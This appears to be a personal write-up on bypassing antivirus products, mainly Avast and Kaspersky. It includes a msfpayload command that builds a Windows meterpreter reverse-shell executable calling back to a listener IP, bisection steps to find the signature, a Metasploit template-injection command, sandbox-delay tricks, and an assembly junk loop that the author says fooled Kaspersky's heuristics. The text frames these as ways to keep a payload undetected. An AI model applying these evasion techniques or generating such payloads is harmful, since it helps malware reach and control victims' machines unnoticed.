Notes on Anti-virus Evasion

Why can you bypass AV detection? There won't much way for AV vendors to decide whether a software is a normal program or a malware. They have 3 main ways, the most popular method it use to scan malwares is based on signature. AV engines scan the whole program to find something in accordance with the kown 'bad strings' in malwares. Once 'bad strings' being found, the program will be flagged as a malware.

You will soon see it is so. Lets take Avast! free edition as example. I do all my test on my linux machine, but you can do anything as you like.

First, Let's use a windows/meterpreter/reverse_tcp payload from Metasploit. It will provide a reverse meterpreter shell to a remote computer for the hackers.

~/metasploit-framework/msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.56.102 X > payload.exe

Start a listenner and assert it really works

wine payload.exe

However, Avast! will find its a malware! Moreover, even when you open the file explorer, the payload will be found before any scan.

To my surprise, Avast! will flag the binary files(Non-execute files) as malwares too. So it look like it use some 'signature' to judge whether a program is malicious or not. But, what's the signature?

To find out the 'bad string', I use the old bisection method to locate where the signature really is:

~/metasploit-framework/msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.56.102 R > payload_raw
cat payload_raw | cut -c614-663 > malicious.txt

Ok, then I get the 'bad string' into malicious.txt. Scan it with Avast!, Avast! flag it as malware. You can download it here and test it with your own avast.

Now we are sure AV softwares use signature to find malwares. It is true, whenever a new suspicious files uploaded to AV vendors(for example, upload it to Virustotal), the new malware's signature will be soon added to the virus signature database soon.

But thats not all.

There are other thing AV vendors use to detect malware. For metasploit is too famous in penetration testers' group and other groups, AV softwares begin to detect whether the software is created with it. As a result, even if its not a malware, much AV will still flag your metasploit-created program as malware. You may check the Metasploit: Low Level View to learn more.

Seeing is believing. Let's use metasploit framework to generate a program with no payload¹:

echo -ne | ~/metasploit-framework/msfencode -e generic/none -k -x calc.exe -t exe -o calc_no_payload.exe

However, Avast! mark it as a threat Win32 Rozpatch, most AVs will detect it as malwares or simply virus as well, you can upload it to metascan to check it.

What does that mean? You should use another way to generate programs if you won't like your program to be detected.

In a word, Metasploit project are so well-known that nearly all it's encoders and ways to generate programs are well researched. The encoder stub are simply to detect, the strange entrypoint to a rwx section are simply to detect. Much AVs are just detect these things rather than the real 'bad signature'. Then we know we must use our own way to generate programs.

However, sandbox becomes more and more popular. Whenever a suspicious program runs, it will be comfined to a virtual sandbox environment. If they do something that can be flagged as malicious, the program will soon be marked as malware. Some AV will scan suspicious programs in this way. However, sandbox will take up too much system resources, it will only run it in sandbox for only little time than release it.

So malware authors begin to sleep or do some useless loops to pass the sandbox time. However, some AVs begin to flag program has the strange sleep and loops as malwares as a countermeasure.

The next example is to demonstrate this:

#include <stdio.h>
#include <stdlib.h>
/* test for malwares */
char code[] = 
"";
int add(int);
int main(int argc, char *argv[])
{
  int i,j;
  for(i=0;i<100;i++){
    for(j=0;j<100;j++)
      printf("wait...");
  }
  }

Then compile and link it.

✘ ⮀ ~/Work/project/bypassav ⮀ wine ~/.wine/drive_c/lcc/bin/lcc test.c -o test.o
✘ ⮀ ~/Work/project/bypassav ⮀ wine ~/.wine/drive_c/lcc/bin/lcclnk.exe test.o -o test.exe

Then I upload it to metascan, 3 AVs mark it as malware though its nothing. The report is here

So you may have to use other ways to avoid these avs. Fortunately, there are tons of method to do this.(May not fortunate : ( )

When I try to bypass Kaspersky, It will always mark my deliberate payload with its heuristic engine. It's really frustrating. You don't know how heuristic works. At first I guess its something check special things like for-loop talked above in programs. So I remove my shellcode. It passed Kaspersky. I add my shellcode but not run it, it passed too. Then I noticed Kaspersky takes more time than other AVs to scan a sample. So I guess it may use a sandbox to check programs. However, when I use some sleep/for-loop tricks kaspersky will still mark my malware out. I check whether kaspersky will mark the sleep/for-loop section as malware, it didn't.

So, that's strange. How heuristic works?

After search on google, I find that kaspersky's heuristic engine may check the windows api call of a program without running it. I remember Metasploit: Low Level View once said:

Two effective methods are used to detect Polymorphic and Metamorphic

malware are :

− SAVE

on SAVE method a sequence of windows API calls are checked which represent the signature of a malware. To decide whether a file is infected or not; The ecludian distance between every API call is calculated. And if the avg. of the API calls distances is less than 10% then a file is flagged as infected. This implies on the (disk-level) injected code probably to be detected

− Semantic aware

Here signatures are represented as control flow or tuples on instruction, on disk-level a program is disassembled and a control flow is generated and then compared to the signatures control flows and decided whether a program is infected or not.

No matter which method, you can simply disassemble metasploit's payload and add some strange calls or jmps to confuse the heuristic engine. And I succeed fool Kaspersky just with a little simple loop:

    push ecx
    add ecx,0x100
    push eax
xxx:
    imul eax, 0x100
    xor eax, eax
    loop xxx

The next section is my experiment and some scan report.